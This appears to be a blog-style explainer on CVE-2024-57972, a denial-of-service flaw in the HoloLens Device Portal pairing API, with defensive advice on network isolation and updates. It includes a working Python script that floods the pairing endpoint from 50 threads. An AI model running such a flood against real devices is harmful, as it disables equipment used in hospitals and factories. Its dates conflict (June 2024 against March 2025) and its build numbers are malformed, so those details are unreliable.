Microsoft HoloLens isn't just cool tech; it's the backbone of mixed reality apps in labs, hospitals, factories, and other critical workplaces. But in June 2024, a new denial of service (DoS) vulnerability — CVE-2024-57972 — revealed how these futuristic headsets could be knocked offline with nothing more than a flood of HTTP requests. In this article, we'll break down this bug in easy terms, show you how such attacks work, and, most importantly, what you can do right now to protect your devices.

What is CVE-2024-57972?

CVE-2024-57972 is a vulnerability found in the device pairing API of Microsoft HoloLens 1 (Windows Holographic) through build 10..17763.3046 and HoloLens 2 through build 10..22621.1244. This bug allows a remote attacker to overwhelm the device portal's pairing API by sending tons of requests. The result? Your HoloLens device slows down, becomes unresponsive, or just outright crashes — making it useless until you force a restart.

The problem lies in how the Device Portal — a web-based admin interface built into every HoloLens — manages each incoming request to its pairing API. There's no rate limiting or resource controls, so a basic script can drown the device.

Where Can I Read the Official Advisory?

- Microsoft Security Update Guide - CVE-2024-57972
- NVD - CVE-2024-57972 Summary

The Big Picture: Why Is This a Problem?

In critical environments (think healthcare or manufacturing), HoloLens is often used for real-time information, remote expert support, or step-by-step guides. If someone — even a nearby Wi-Fi user — can knock your headset offline, both productivity and safety are at risk.

The attack isn't about stealing data or gaining access. It's pure denial of service, turning a $3,500 headset into a shiny brick — fast.

How Does the Attack Work?

- Any device on the same network as your HoloLens can send large numbers of HTTP requests to the Device Portal's pairing endpoint.

Proof of Concept: How an Attacker Might Do It

Let's see a simplified Python example using the popular requests library. This snippet bombards the /api/pairing endpoint:

import requests
import threading

TARGET_IP = '192.168.1.100'  # Change this to your HoloLens IP
PAIRING_API = f'http://{TARGET_IP}:10080/api/pairing';  # Default Device Portal HTTP port

def send_requests():
    while True:
        try:
            requests.get(PAIRING_API, timeout=.5)
        except:
            pass  # Ignore errors (e.g., device goes offline)

threads = []
for _ in range(50):  # Start 50 concurrent threads
    t = threading.Thread(target=send_requests)
    t.start()
    threads.append(t)

Run this script from any machine with access to the same network as the vulnerable HoloLens, and you'll see the headset's responsiveness tank within seconds (Do NOT do this unless you have permission; this is for educational use only).

Defensive Tips

Over the years, DoS bugs remain one of the hardest to fix after the fact. Use these steps to stay safe:

Isolate your HoloLens on the network

Use firewalls or VLANs to prevent unauthorized users from reaching port 10080 (HTTP) or 10443 (HTTPS) on your headsets.

Final Words

CVE-2024-57972 is a text-book example of what happens when web APIs on IoT or smart devices lack built-in throttling or security. The lesson for everyone building similar tech: Always rate-limit sensitive endpoints. For HoloLens users, installing updates is your first and best defense.

Got more questions or stories about HoloLens security? Share your thoughts below.

References

- Microsoft Security Update Guide: CVE-2024-57972
- NVD CVE Detail
- Microsoft Docs: HoloLens Device Portal

*Stay secure, and keep your reality mixed — not offline!*

Timeline

Published on: 03/06/2025 21:15:14 UTC
Last modified on: 03/07/2025 18:15:45 UTC